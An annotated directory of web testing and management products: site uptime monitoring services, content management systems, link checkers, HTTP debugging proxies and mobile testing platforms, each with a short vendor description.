WebSitePulse - Monitoring service from WebSitePulse. Simultaneous monitoring from up to 20 global stations; alerts sent when web page errors occur, performance thresholds are exceeded or connectivity problems are detected and verified from up to three independent monitoring resources, and when unauthorized content changes are detected. Supports cookies; monitors and verifies file size, MD5 checksum, present or missing text string. Customizable alert escalation schedules, configurable 'Do Not Disturb' times for contacts. Daily, weekly, monthly e-mailed uptime reports.

SiteMorse - External site monitoring services from SiteMorse - runs a periodic full report - clients can request to be notified if there is any change to the sites scores. Enterprise clients have the option of setting such thresholds on any one of over 300 tests.

YMU - Site monitoring service from Dreamcast Systems, Inc. HTTP, HTTPS, customizable map location selection of monitoring source, graphical reports, configurable periodic check intervals.

Gomez Webperform - A site monitoring, testing, alerting, and reporting service from Gomez.com for small and medium sized business. Basic packages are free, with add-ons available. Provides detailed monitoring data from testing locations across the globe to enable quick isolation and resolution of website performance problems.

eXternalTest - Site monitoring service from eXternalTest. Periodically checks servers from different points of the world; view what customers see with screen shots using different browsers, OSs, and screen resolutions.

Site Notifier - Site monitoring service from Transcendigital Ltd.; configurable for various monitoring intervals, multiple notifications.

Global Up Time - HTTP/HTTPS website monitoring service from Global Web Monitor; configurable frequency, alerting, and reporting options; false alarm protection. Server monitoring, website monitoring, network appliance monitoring, business transaction monitoring, port monitoring and port security monitoring.

internetVista - Service from Lyncos remotely monitors web sites and Internet services for availability (http, https, smtp, ftp, pop, nntp, tcp). Notifications sent via email and SMS. Monitoring centers in U.S. and Europe. Free service also available, with limited features.

Host Tracker - Site monitoring service from Host Tracker; monitor an unlimited number of resources, distributed monitoring points, possible monitoring of CGI scripts' operation, keyword presence control, can specify keywords by regular expressions, unlimited number of addresses for server error notifications, historical statistics.

AppMonitor - Transactional application monitoring service from Webmetrics. Simulates defined web transactions, such as customer logins and purchase order fulfillment, up to every five minutes to verify application availability and performance. Service includes full-page download of all page objects, breakdown of DNS, first byte and transfer times at various baud rates, alerting, performance reporting and benchmark comparisons. Also available is 'SiteMonitor' service for non-transactional websites.

Dotcom-Monitor - Web site monitoring and load testing services utilize multiple worldwide locations. Checks content and response times; provides reporting and notifications. Free 'Lifetime Lite' monitoring service available.

Vertain Monitoring Service - Services from Vertain Software include verification that web site is up and running and that users can complete multi-page transactions. Also available: Free service for up to six tests per day.

AlertBot - Monitoring service from InfoGenius, Inc. tests website availablity, performance, and alerts webmaster of downtime. Also provides ftp, http, pop3, snmp, https, smtp, ip, and dns server monitoring.

WebSitePulse - Remote web site and server monitoring service with instant alerts and real time reporting. Simulates end-user actions from multiple locations around the globe. Web transaction monitoring available. Free basic service available.

1stMonitor - Site monitoring service notifies when a web site is down or new content has been posted. Easy and simple to use. Email notification. Weekly and monthly reports; instant setup.

SiteTechnician - Service of SiteTechnician LLC, identifies broken links, analyzes accessibility, reports on search engine optimization, monitors page load times and provides eight reports to help manage changes to website content over time.

WatchOur.com - Web site monitoring service from PingALink LLC; remotely monitors websites and other Internet protocol servers for availability and performance issues. Sends detailed error codes via pager, email, ICQ, etc. RFC compliant protocol checks assure valid monitoring. Extensive reporting.

AlertSite - Web site monitoring tools and services to ensure website is available and performing optimally. Immediate notification of problems via e-mail, pager, cell, or SMS. Comprehensive reporting.

elkMonitor - Service from Elk Fork Technologies for websites and other Internet servers; monitors availability and performance. Utilizing multiple test servers located on various Internet backbones, elkMonitor can alert users when sites or servers are unavailable or performing poorly. Alerts via email, pager or SMS alert.

AlertMeFirst - Service from Commerx Corp. reports on the performance and availability of a web site from customer's perspective; including experience with mail server, proxy server, transaction server, databases, etc. Flexible design allows changes to monitoring profile at any time and payment is required only for services used each day.

PureAgent - Service from Minq Software that monitors response times from the agent to a server, by replaying transactions at specified intervals. This includes static and dynamic web applications as well as other server applications. Capabilities include specifying limited access for certain users (such as historical stats only), encryption of stored scenarios, and viewing/downloading of raw XML definitions of Scenarios/Activities.

Dotcom-Monitor - External website monitoring/alerting/load testing service from Dana Consulting. Monitoring locations worldwide. Supports full-cycle sequential transactions; 'macro recorder' capabilities for setting up monitoring of complex web site processes such as online ordering; monitoring of sites, email and FTP services, DNS and router monitoring; includes a wide variety of online and downloadable reporting tools.

SiteGuardian - Site monitoring solution provides 24x7 monitoring of downtime, user experience, and application problems. Configururable notification method and intervals.

Patrol Express - Service from BMC Software continuously simulates and measures end-to-end customer web site experience. Monitors performance and availability of servers, applications and storage and network devices. Also monitors performance and availability of Web transactions. Compares performance and availability to user-defined goals.

WatchDog - Online website tracking and monitoring services from MyComputer.com geared to small business web sites. Provides uptime and load time reports, downtime alerts, etc. Distributed monitoring from five U.S. sites.

SiteScope - HP's (formely Mercury's) hosted Web-based monitoring service; agentless monitoring solution designed to ensure the availability and performance of distributed IT infrastructures including servers, operating systems, network devices, network services, applications.

Keynote Application Perspective - Hosted performance and availability monitoring services and root cause diagnostics from Keynote Systems. Utilizes a distributed geographic measurement network for comprehensive end-user coverage. Provides advanced scripting tools with functionality for complex transaction recording and ad-hoc diagnosis.

Return to top of web tools listing

Web Site Management Tools

(This section includes products that contain: site version control tools, combined utilities/tools, server management and optimization tools, and authoring/publishing/deployment tools that include significant site management or testing capabilities.)

4Webcheck - Site monitoring and utilities application from Bibase Software; Checks availability and verifies web pages at the byte level; compare pages on a web site to files on the local computer. Will compare single files, all files in a local folder or multiple sites and folders. Also provides url search engine submission options and includes link checking and other capabilities. For Windows platforms.

BigEasy CMS - Content management system from Bold Endeavours Group Ltd. Capabilities include: Template management - allows the creation and re-use of html templates; dynamic navigation generation; functionality for working with several languages on the web site, where the information is stored in the same location, regardless of language; forms, search, personalization/registration, discussion forums, sitemaps, etc.

Test Anywhere - Web and application GUI test autoamtion tool from Automation Anywhere. Capabilities include: conversion of test scripts to .exe, Windows Object recorder, web recorder, image recognition, script editor with 385+ commands. For Windows platforms.

Webmaster Toolkit - Collection of 35 free tools and utilities useful to webmasters; includes link checker, page analyzer, ping, color tool, FrontPage and DreamWeaver code cleaner, link extractor, etc.

Webriq - Web-based site management and editing tool with drag and drop capabilities, from Webriq, includes multiple language interfaces.

A1 Website Analyzer - Website analyzer and link checker from Microsys, also can check response times, html and CSS validation, track file sizes, check for page title duplication; optimize internal page link structure to maximize SE page rankings.

BrowserCMS - Web content management system from BrowserMedia LLC for creating, managing, and publishing dynamic, information driven websites. Handles traditional text, images, or files, as well as such searchable, dynamic 'content objects' as press releases, job postings, a member locator/business directory, and an events calendar. 100% browser-based content management system is installed on the same web server that hosts website - no software installed on individual desktop machines. Geared to associations, non-profits, government agencies, and corporate websites. Compatible with multiple server OS's and web servers.

Errorlytics - Site management service/plugin from Errorlytics/Accession Media, LLC helps site managers minimize errors for their users. Keeps track of errors that site visitors come across. Can see what errors have come up, and then set up 'rules' as to where site visitors should be redirected to. For any website developed with Java, PHP, Rails, Drupal or Wordpress.

eValid Site Analysis - Site analysis, mapping, and page tuning tool from Software Research Inc. Checks for broken links and characterisitics such as page age, size, existence of specified strings, download times of elements, pinpointing bottlenecks. Reports are generated onscreen, including 3D-SiteMap showing site structure; can be rotated, expanded, zoomed-in, etc.

SortSite - Tool from Electrum Solutions that checks pages against W3C and IETF standards, checks for compliance with accessibility standards; link checker, browser compatibility checker; checks for regulatory compliance, checks site against Google/Yahoo/MSN search guidelines, more.

DeepTrawl - Site management tool from Deep Cognition Ltd. finds dead/slow/invalid links, finds common html flaws, has integrated HTML editor with problem highlighting, finds stale content. Finds slow content based on configurable settings, checks for undesirable user postings, exports to CSV / HTML, more.

Atomic Watch - Site monitoring software from Info-Pack.com;runs as background process on Win machine; no software to install on server. Can check webpage or form for certain strings and report back if not present. Configurable monitoring intervals; various notification options including email notifications, sound alarm, or load a URL. No monthly fees like the server monitoring services.

TruWex - Site management tool from Erigami Ltd. checks accessibility, privacy, quality, web page performance. Utilizes a web interface; available as a managed service and as a redistributable product installed on Windows based servers.

CMS400.net - Web site content management tool from Ektron Inc. Enables non-technical users to add/update web content, create and manage documents. Workflow and user management tools. Support for ASP.NET, ColdFusion, PHP, and JSP development.

WSOP - Website load time testing and optimization tool from SoftLogica LLC; other capabilities include checking for errors and broken links, highlighting of problem elements with a built-in HTML viewer, and support for custom testing scenarios for regular tests. Provides a set of reports, statistics and suggestions to improve website load time and performance.

TrueView - Web management suite from Symphoniq Corp. that can monitor Web application performance from browser to back-end by instrumenting both client and server side of web applications. Can measure page load times and errors directly from users' browsers and automatically detect and diagnose problems inside or outside the datacenter. Trace slowdowns to specific IP addresses, servers, method calls, and SQL queries.

WebWatchBot - Web site monitoring, notification, and analysis tool for web sites and IP Devices, from ExclamationSoft Inc. Capabilities include real-time charting of response times for multiple items, reporting of historical data, comprehensive dashboard view of all monitoring. Monitor web page transactions - execute any monitored item in sequence, handle login and web form posting, run as a windows service or application. Requires Windows, MSIE, SQLServer.

Savvy Content Manager - Content management tool from Savvy Software Inc. Simplified editing process - click on an area of your web site in Savvy's browser-based interface, update the information and then publish to the Web with another click. No coding, no file transfers, no additional software.

Introscope - Web performance monitoring tool from Wily Technology; presents data in easy-to-use customizable dashboards which enable deep, intuitive views of interrelation between system components and application infrastructure. Monitors applications as soon as installed; no coding needed. Included 'LeakHunter'identifies potential memory leaks. 'Transaction Tracer' can provide detailed tracing of execution paths and component response times for individual transactions in production systems.

WebCEO - Tool from WebCEO.com includes a site maintenance module. Includes link checker, WYSIWYG editor, FPT/publishing, traffic analysis, and site monitoring capabilities.

RealiTea - Web application management solution from TeaLeaf Technology Inc. that provides detailed visibility into availability and functionality issues to enable efficient problem identification, isolation, and repair. Captures and monitors real user sessions, providing context and correlation data for application failure analysis. Add-on capabilities include a 'Dashboard' to provide real-time, customizable views of success/failure rates for key online business processes and other critical metrics, and 'Real Scripts' automatically generated from recorded user sessions for use in specified other load testing tools.

PROGNOSIS - Comprehensive tool from Integrated Research Ltd. for performance and availability monitoring, network management, and diagnostics; suited to large systems.

RedDot CMS - Web content managment system from RedDot Solutions includes modules such as SmartEdit; Asset Manager to securely centralize images; Site Manager to create and manage your web site; Web Compliance Manager to manage integrity and accessibility, and more.

Cuevision Network Monitor - Monitoring tool from Cuevision for monitoring website, server, services, applications, and network; capabilities include notifications via email, net send, and popup, restart apps and services, etc. For Windows.

GFI Network Server Monitor - Server management tool from GFI Software Ltd. checks network and servers for failures and fixes them automatically. Alerts via email, pagers, SMS; automatically reboot servers, restart services, run scripts, etc. Freeware version of GFI Network Server Monitor is also available; includes modules to check HTTP and ICMP/ping for checking availability of HTTP and HTTPS sites.

Web Site Monitoring - Performance Monitoring - Free open-source website performance monitoring and uptime notification application in PERL, from AllScoop; sends email notification if site is slow or down.

ContentStudio - E-catalog management tool from TechniCon Systems with Win Explorer-type interface with drag and drop functionality; eliminates need for programmers and special production staff to maintain catalogs. Legacy-to-Web Tools can "bulk-load" online catalog from legacy product data. Capabilities include defining intra-configuration rules, such as option compatibilities on a single product; spatial relationships between products, etc.

SpinPike - Flexible and scalable content management system from SavvyBox Systems, based on database-driven, template-based dynamically-created content. Installer easily installs system on your server, high-level functions save template coding time; WYSIWYG editor.

Constructioner - Website development software with integrated content management system from Artware Multimedia GmbH. Design/administrate database connected PHP web applications in combination with individual webdesign. Includes: Ready-to-use Backoffice, Content and Table Management (WYSIWYG-Editor), User Administration, Multilingualism, Dynamic Menu, Message Board, PHP-Code Insertion, Statistical Reports, Database Backup, Search. All can be integrated without writing code. Constructioner Light Edition available as Freeware.

CrownPeak CMS - Content management service from CrownPeak Technology, which hosts the management system application and the client's administrative interfaces and pushes the final assembled pages to client Web servers. Provides complete software developers environment, comprehensive Communications Gateway for inbound and outbound data, and a robust API.

WebLight - HTML validator and link checking tool from Illumit LLC. Free for use on small sites, low cost for large sites. Works on multiple platforms.

Trellian InternetStudio - Suite of web site management utilities from Trellian including site upload/publishing tools, text editor, HTML editor, link checker, site mapper, spell checker, site spider, image handling, HTML encryptor/optimizer, HTML validator, image mapper, e-commerce site designer/generator. For Windows.

Documentum - Enterprise content management product from EMC Corp. - capabilites/support include scalability, security, business process automation, globalization, XML-content-based multi-channel delivery, support for more than 50 document formats, integration with a variety of servers, authoring tools, etc.

Serena Collage - Content management tool from Serena; browser-based, scalable content management platform for content contributors distributed across an organization. Works with content from any platform or application. Enables collaboration, version control, activity tracking, administration, templates, styles, approval workflow, multi-lingual support, more. Runs with a variety of platforms, web servers, and DB servers.

FlexWindow - Tool from Digital Architects B.V., enables users to update their web site via e-mail. Update news flashes, notifications, advertisements, product info, stories, prices, and more. Use any e-mail client capable of producing HTML to format your content or use HTML tags in a plain text e-mail. Easy to install, simply create an account and paste one line of javascript into your pages. Basic accounts are free.

Alchemy Eye - System management tool from Alchemy Lab continuously monitors server availability and performance. Alerts by cell phone, pager, e-mail, etc. Can automatically run external programs, and log events.

Web500 CMS - Web content management and site maintenance solution from Web500. Add-on modules allow capabilities such as WAP, e-commerce, payment processing, customer relationship management, and more.

HTML Rename - Site Migration/Batch processing tool from Expandable Language that enforces file naming conventions (case, length, invalid chars), renaming the files to match the convention, then correcting the links to those files automatically. Eliminates problems encountered when moving files between Windows, Mac, and UNIX systems and publishing to CD-ROM. For Mac or Windows.

IPCheck Server Monitor - Server monitoring tool from Paessler AG. Alerts webmasters if a webserver is not working correctly via sensor types PING, PORT, HTTP, HTTPS, HTTP Transaction, DNS, SMTP, POP3, SNMP, and custom sensors. Notifications can be triggered by downtimes, uptimes, or slow responses. For Win platforms; has a web-based user interface.

Oracle Universal Content Management System - Content management tool formerly from Stellent, now Oracle. Content Server uses a web-based repository, where all content and content types are stored for management, reuse and access. Enables services such as library services, security, conversion services, workflow, personalization, index/search, replication and administration. Other modules provide additional services such as: services for creating, managing and publishing Web content and supporting from one to thousands of Web sites; services for capturing, securing and sharing digital and paper-based documents and reports; and services for collaborative environments and for digital asset and records management.

Rhythmyx Content Manager - Web content management product from Percussion Software; based on native XML and XSL technologies; content development, publishing, version control, and customizable workflow. Manages Web content, documents, digital assets, portals and scanned images.

Content Management Server - Windows based content mgmt tool from Microsoft (formerly 'nResolution' from nCompass Labs). Enterprise web content management system that enables quickly and efficiently building, deploying, and maintaining highly dynamic web sites. Enables scheduling of content refreshes, management of workflow, tracking of revisions, and indexing content by means of a browser window or via MS Word.

Broadvision - Suite of content and publishing management tools from Broadvision Inc.; allows a distributed team of non-technical content experts to manage every aspect of site content, including creation, editing, staging, production, and archiving.

HP OpenView Internet Services - Internet services monitoring/management tool from HP; integrates with other OpenView products to provide a variety of management and monitoring services and capabilities. Enables end-user emulation of major business-critical applications as well as a single integrated view of the complete Internet infrastructure. Designed to help IT staff efficiently predict, isolate, diagnose and troubleshoot problem occurrences, anticipate capacity shortfalls, and manage and report on service level agreements.

HTML-Kit - Free, full-featured editor from Chami.com designed to help HTML, XHTML and XML authors to edit, format, lookup help, validate, preview and publish web pages. Uses a highly customizable and extensible integrated development environment while maintaining full control over multiple file types including HTML, XHTML, XML, CSS, XSL, JavaScript, Perl, Python, Ruby, Java, and much more. Finds errors and provides suggestions on how to create standards compliant pages. Includes internal, external, server-side and live preview modes; FTP Workspace for uploading, downloading and online editing of files; and the ability to use hundreds of optional free add-ins through its open plugins interface. GUI support of W3C's HTML Tidy; seamless integration with the CSE HTML Validator. Validate XML documents using its DTD and/or check for well-formedness. Over 400 free plugins available for extending and customizing HTML-Kit. Pro plugins available to paid registered users.

IBM Workplace Web Content Management - IBM's web content management product for Internet, intranet, extranet and portal sites; runs on both Lotus Domino and IBM WebSphere.

WebCheck - Windows application from Peregrine Software that runs in background and periodically checks a site for availability and correctness; searches for keywords; provides notification by displaying a message or sending an e-mail.

WS_FTP Pro - FTP/web publishing tool from Ipswitch; manage, upload, and update websites; automatically resume interrupted transfers; support more than 50 host file systems; drag-and-drop files; for Windows.

A1Monitor - Utility from A1Tech for monitoring availability of web servers. Capabilities include notification by email and automatic reboot of web server. For Windows.

AgentWebRanking - Freeware tool from AADSoft to monitor site's search engine position, improve search engine ranks, submit URL's. Searches top engines for keywords; can specify search depth. Also has keyword count for pages vs competitor's pages; auto or manual submit of URL's to search engines, meta tag creator. Requires MSIE and Windows.

WebSite Director - Web-content workflow management system from CyberTeams Inc. with browser-based interface includes configurable workflow management, e-mail submission of web content, and e-mail notifications; allows defining and applying existing workflow and approval rules to web content management process. For Windows, UNIX.

Equalizer - Load balancing server appliance and site management tool from Coyote Point Systems. Web based interface for load balancing administration, server failure detection, real-time server monitoring of server response time, number of pending requests, etc.

WebTrends - Web site management tools from Webtrends Inc.; such as WebTrends Analytics9 and WebTrends Optimizer for site metrics and management.

XMetal - XML development tool from Justsystems, Inc. for XML-based web site authoring and validation. Includes a 'Database Import Wizard', and can automatically convert output to CALS or HTML table models or to XML; For Windows.

Interwoven Team Site - Web development, version control, access control, and publishing control tool; works with many servers, OS's, and platforms. Other deployment and management tools available also.

Macromedia Contribute - Adobe's (formerly Macromedia's) web content management solution Content created in Contribute matches the look and feel of a site via Dreamweaver templates and advanced CSS support. Ensures design standards are met, functionality is maintained, and code is protected.

Site/C - 'Set-and-forget' utility from Robomagic Software; for periodic server monitoring for web server connection problems, link problems. E-mail/pager notifications, logging capabilities. For Windows.

PowerMapper - From Electrum Multimedia; for customizable automated site mapping, accessibility and usability checking, HTML validation, link checking, CSS validation, browser compatibility, and more. Requires Windows and MSIE.

SiteScope - HP's (formerly Mercury's) product for agentless site monitoring and maintenance. Runs on servers and monitors server performance, links, connections, logs, etc.; scheduled and on-demand reporting; provides notifications of problems. Includes published API for creating custom monitors. Monitors mimic users' end-to-end actions. For Windows or Unix.

HTML PowerTools - HTML validator, global search-and-replace. Date stamper, spell checker, Meta manager, image tag checker, HTML-to-Text converter, customizable reports. Link checker. Validates against various HTML versions, browser extensions; has updateable rulebase. From Talicom. For Windows.

OpenDeploy - Interwoven's configurable control system for deploying from development to production environments. Includes automated deployment, security, and encryption capabilities. Other management tools available also. For Windows and Unix.

Vignette Content Management - Vignette Corporation's products for web site collaborative content, publishing, management, and maintenance. Support for managing content stored in databases, XML repositories, and static files. Supports a wide variety of web attributes, databases, API's, and servers.

Microsoft FrontPage - Microsoft's web site authoring and site management tool; includes site management capabilities, link checking, etc.

HomeSite - A lean, code-only editor for web development from Adobe (formerly Macromedia). Advanced coding features enable instant creation and modification of HTML, CFML, JSP, and XHTML tags, while enhanced productivity tools allow validation, reuse, navigation, and formatting of code more easily.

NetObjects Fusion - Site authoring/management tool from WebSite Pros Inc. Visual site structure editor, layout editor, graphics management, staging/publishing control. For Windows.

Return to top of web tools listing

Log Analysis Tools

DMOZ Log Analysis Tools List - DMOZ open directory project's lists of open source and commercial log analysis tools.

Return to top of web tools listing

Other Web Test Tools

MITE - Free version of MITE, from Keynote Systems Inc., for mobile content testing. Desktop testing tool with 1,600+ device profiles and 11,000 user agent strings. Test and validate mobile content quickly across numerous device/ mobile OS/ mobile browser combinations navigating mobile sites, checking for broken. Provides information including source code, redirects, protocol details, oversized objects, and device compatibility checks.

DeviceAnywhere - Mobile handset testing platform from MobileComplete enables development, deployment, and testing of content/apps on more than 2000 real handset devices in live global networks around the world using just the Internet. The mobile handset bank includes devices stationed in the United States, Canada, United Kingdom, France, Germany, Spain, Japan, etc and the agnostic platform hosts a diverse portfolio of carriers and manufacturers from around the world.

Gomex Active Mobile XF - An on-demand mobile monitoring solution to accelerate identification, diagnosis and resolution of mobile Web, SMS and application performance and availability problems. Provides a unified view of mobile and Web performance and availability. Utilizes over 5,000 different 'mobile devices': tests are performed by the Gomez testing agents deployed on mobile nodes. Mobile nodes are a globally distributed set of computers connected to wireless carrier networks via attached wireless modems and provide a realistic measure of the mobile Web experience.

BrowserSeal - Multi browser website screenshot tool - capture an image of web site under multiple browsers Supports multiple versions of IE, Firefox, Google Chrome, Opera, Safari. Optimized for speed. Comes with standalone versions of all major browsers to verify site layout issues and troubleshoot functionality issues. The Automated edition adds the ability to automaitcally capture miltuple URLs without user intervention, and command-line control enabling use in automation scripts. For Windows platforms.

LiteTest - Web analysis and evaluation reports of your website usability and other aspects; you test other users websites, and they test yours. Complete a website evaluation report for three other sites and you will then be guaranteed a minimum of three web analysis reports on your own site. Registration and evaluations are free.

System Shephard - An IT Performance Monitoring and Operations Management Platform for web and other systems; from Absolute Performance Inc. Modules include StressWalk and WebWalk. Delivers an enterprise-wide view of system performance and alert status; supplies analysis and reports based on real-time, recent, and historical data

Spydermate - Free online SEO analysis tool from MentorMate that gives a numerical and visual representation of a website's online marketing effort by using a variety of graphs and statistics. Other capabilities: page-specific on-site keyword analysis; side-by-side comparisons of your own website against a competitor.

Twill - Simple open source Python-based scripting language for web browser control from a command-line interface. Navigate through Web sites that use forms, cookies, and most standard Web features. Supports automated Web testing

Firefox Web Testing Add-ons - Includes many tools that can be useful for testing such as iMacros for Firefox, WASP, Fireshot, Window Resizer, Selenium IDE, Web Developer, SwitchProxy, IE Tab, Molybdenum, HackBar, and many more.

Web Testing Plugin collection - Large collection of links to and short descriptions of open source utilities and tools for web testing, unit testing, assertions, mocks, fixture utilities, reporting, validators, code coverage, etc. Mostly for Ruby, maintained by Benjamin Curtis

UTE - Automated 'usability testing environment' from Mind Design Systems, Inc. Assists in quantitative usability evaluation of websites and web applications; automates capture of usability data in detail not easily done by a human observer. Consists of a) a 'UTE Manager' which helps set up test scenarios (tasks) as well as survey and demographic questions, and compiles results and produces customized reports and summary data; and b) a 'UTE Runner' which presents test participants with test scenarios (tasks) as well as any demographic and survey questions; the runner also tracks actions of the subject throughout the test including clicks, keystrokes, and scrolling.

Venkman Javascript Debugger - Firefox extension; open source JavaScript debugging environment for Mozilla based browsers.

XPather Firefox add-on by Viktor Zigo. Has rich XPath generator, editor, inspector and simple extraction tool. Requires the standard DOM inspector plugin for FF3.

FlexMonkey - A testing framework for Flex apps. Capabilities include capture, replay and verification of Flex UI functionality. Can generate ActionScript-based testing scripts that can easily be included within a continuous integration process. Uses the Flex Automation API and was created by extending Adobe's sample automation adapter, AutoQuick. Donated to the Flex community by Gorilla Logic. Site also lists info and links to three other open source Flex test tools/frameworks: FlexUnit, Selenium-Flex, and FunFx.

UnmaskParasites - A free online service that checks web pages for hidden illicit content (invisible spam links, iframes, malicious scripts and redirects). By Denis Sinegubko. Just type in the URL of the web site to be checked.

TestArmy - TestArmy provides cheap access to a large, flexible base of testers with a wide range of hardware. Test applications thoroughly in a variety of environments, at lower cost, using crowd-sourcing. Enable more efficient testing on the end user hardware and software platforms that have proliferated, particularly for mobile and web applications. Developed by Peter Georgeson.

Rasta - Rasta is a keyword-driven open source test framework by Hugh McGowan using spreadsheets to drive testing. Loosely based on FIT, where data tables define parmeters and expected results. The spreadsheet can then be parsed using your test fixtures. For the underlying test harness, Rasta uses RSpec so in addition to reporting results back to the spreadsheet you can take advantage of RSpec's output formatters and simultaneously export into other formats such as HTML and plain text. Since Rasta utilizes Ruby, it can work well with Watir (listed elsewhere in this page).

File Comparators - Web testing - or any type of testing - often involves verification of data vs expected data. While this is simple enough programmatically for single data points or small data sets, comparison of large amounts of data can be more challenging. This site, maintained by FolderMatch/Salty Brine Software, a windows file/folder comparator tool vendor, lists a large number of Win data comparators. An old (2003) but still useful listing of mostly non-Windows data comparator tools is maintained by Danny Faught in his Open Testware Reviews site's Data Comparator Survey .

TMX - Keyword driven test automation product from Critical Logic, provides automated, fully annotated, executable scripts for QTPro, Watir, TestPartner, and SilkTest. Imports the objects that make up an application (radio buttons, entry fields, etc.) and builds an Object Tree containing all elements and attributes subject to testing. Then automatically generates the executable test scripts and test documentation. 'Virtual Objects' allow building of test scripts from requirements in parallel with code development.

Google's Website Optimizer - Google's service for testing variations in site design (titles, images, content, etc) to determine impacts on conversions, user actions, traffic, or other goals.

YSlow - Free open source tool analyzes web pages and explains why they're slow based on rules for high performance web sites. A Firefox add-on integrated with the Firebug web development tool. Includes a Performance report card, HTTP/HTML summary, list of components in page and related info, tools including JSLint. Generates a grade for each rule and an overall grade, lists suggested specific changes to improve performance, calculates total size of page for empty and primed cache scenarios, cookie info. Can also view HTTP response headers for any component.

ItsNat - Open source Java AJAX component-based web development framework provides a natural approach to web development; leverages 'old' tools to build new AJAX based Web 2.0 applications. Server centric using an approach called TBITS, "The Browser Is The Server": simulates a Universal W3C Java Browser at the server mimicing the behavior of a web browser, containing a W3C DOM Level 2 node tree and receiving W3C DOM Events. Contains significant built in functional web test support.

HTT - Open source scriptable HTTP test tool for testing and benchmarking web apps and for HTTP server development. Can act as client (requesting) and server (backend for reverse proxys). Pattern matching answers (both server and client) to test validity. Supports chunking in request and response.

Gomez Instant Site Test - Free online web page analysis from Gomez.com - reports on DNS lookup, connection time, first-byte download time, content download time, redirect time for the HTML, page objects.

Web Page Analyzer - Free online website performance tool and page speed analysis from Website Optimization. Calculate page size, composition, and download time., size of individual elements and sums up each type of web page component. Then offers advice on improving page load time.

HTTPWatch - An HTTP viewer and debugger plugin for MS Internet Explorer for HTTP and HTTPS monitoring without leaving browser window. Real-time page and request level time charts;millisecond accurate timings and network level data. Includes automation interface that can be used by most programming languages. Supports filtering of requests by criteria such as content types, response codes, URLs, headers and content. Basic free and paid versions available.

IBM Rational Policy Tester Accessibility Edition - Helps ensure Web site accessibility to all users by monitoring for over 170 comprehensive accessibility checks. It helps determine the site's level of compliance with government standards, including the U.S. government's Section 508 and guidelines such as the World Wide Web Consortium's Web Content Accessibility Guidelines (W3C WCAG), the UK's Disability Discrimination Act, and France's AccessiWeb.

IBM Rational Policy Tester Privacy Edition - Reports on form, form controls, and Form GET inventory, pages collecting Personally Identifiable Information (PII) and privacy policy links. Generates inventory of site privacy policies and checks and checks for secure pages and encryption and third-party data sharing policies; maps technical checks to specific online requirements of laws and regulations, such as U.S. Children's Online Privacy Protection Act (COPPA), Gramm-Leach-Bliley Act (GLBA) Privacy Rules, HIPAA, California SB1386 & AB1950 and AB1 950; Safe Harbor re European Community's Directive on Data Protection; and U.S. Section 208.

TextTrust - Online service for one time or periodic full site spell checking; report includes listing of each text error with URL, built-in spelling mistake highlighter; correct your errors with Google suggestion lookup. System learns as it checks, detects industry terms and buzzwords such that only real errors are reported.

WireShark - Network protocol analyzer available under the GNU General Public License. Capabilities include deep inspection of hundreds of protocols, live capture and offline analysis, standard three-pane packet browser, runs on most platforms. Captured network data can be browsed via a GUI, or via the TTY-mode TShark utility; rich VoIP analysis; read/write a very wide variety of different capture file formats. Live data can be read from Ethernet, IEEE 802.11, PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI, and others. Decryption support for many protocols, including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and WPA/WPA2. Coloring rules can be applied to the packet list for quick, intuitive analysis. Output can be exported to XML, PostScript, CSV, or plain text

TPTest - An open source software suite for testing network throughput and Internet services. It consists of a software library with test functions that can be implemented in test client and server applications. Reference client/server apps are also included.

BWMeter - Bandwidth meter, monitor and traffic controller, which measures, displays and controls all traffic to/from computer(s) or on your network. Can analyze the data packets (where they come from, where they go, which port and protocol they use). For Windows platforms. Shareware.

Fiddler - HTTP Debugging Proxy which logs all HTTP traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP Traffic, set breakpoints, and "fiddle" with incoming or outgoing data. Fiddler includes a powerful event-based scripting subsystem, and can be extended using any .NET language. Can debug traffic from virtually any application. For Windows platforms. Freeware.

HTTP Interceptor - Low cost pseudo Proxy server that performs http diagnostics and enables viewing of the two way communication between browser and the Internet. View http, asp, http header, data headers, responses. Demo version Free and paid versions available.

Expecco - A component based, modular test and quality assurance platform from eXept Software AG, which aims at the consolidation of tests and partial test systems into an automated, interactive test center. Enables productivity improvement in creation and maintenance of test scenarios, includes extensive debug features and flexible integration into existing enterprises. Features include utilization of UML 2.0 and Selenium libraries.

Aptixia IxLoad - Highly scalable, integrated test solution from Ixia Inc. for assessing the performance of Triple Play (Voice, Video and Data services) networks and devices. IxLoad emulates IPTV and Triple Play subscribers and associated protocols to ensure subscriber Quality of Experience (QoE). Protocols supported include video protocols like IGMP, MLD, and RTSP; voice protocols like SIP and MGCP; and data protocols like HTTP, FTP, and SMTP. Can be used to test critical aspects of the infrastructure like DNS, DHCP, RADIUS, and LDAP services, as well generate malicious traffic to test for security. Also available are a wide variety of other related performance test tools to help accelerate the migration of communications and entertainment to IP.

Internet Explorer Developer Toolbar - Microsoft add-on for IE that includes some tools for that can be useful for web testing. Includes tools to explore a page's document object model (DOM), locate and select specific elements on a Web page through a variety of techniques, view HTML object class names, ID's, and details such as link paths, tab index values, and access keys; validate HTML, CSS, WAI, and RSS web feed links; view the formatted and syntax colored source of HTML and CSS; and more.

Web Service Scheduler - WSS is an online cron service that can execute custom scripts remotely, for websites hosted on a web server with no access to a scheduling utility like cron or task scheduler. To use, just login and add the URL of the web service or script (PHP, ASP, CGI) and the time you would like the service to run. Basic account is free.

Chickenfoot - An open source Firefox extension from MIT that creates a programming environment in the Firefox sidebar, enables wrting of scripts to manipulate web pages and automate web browsing. Scripts are written in a superset of Javascript that includes special functions specific to web tasks.

WebAii - Free web testing automation infrastructure from ArtOfTest Inc.provides rich set of features to help automate web applications and web scenarios. Supports Ajax, MSIE, Firefox; build automated unit tests, feature tests and end to end scenario/usage tests. Integrates TestRegions as identification reference points to produce resilient test beds. Also available is a WebAii Automation Design Canvas which includes Web 2.0 support.

sketchPath - Free XPath Editor and XML analysis and testing tool by Phil Fearon supporting XPath 1.0 and 2.0. Capabilities includes: Provides integrated graphical environment for viewing XML files, developing and testing XPath expressions against them and managing the expressions in file libraries. Auto-Generate XPath locations by selecting from XPath result list, regular expression result list, element tree view, element nodes list, XML text editor, etc. Import XPath Expressions from an XML source (eg. XSLT). auto-complete uses 'Look-Ahead' to list available location and value nodes when typing, XSD schema validation with fully-navigable invalid elements list. Use regular expressions to resolve XPath locations. And more. For Windows platforms.

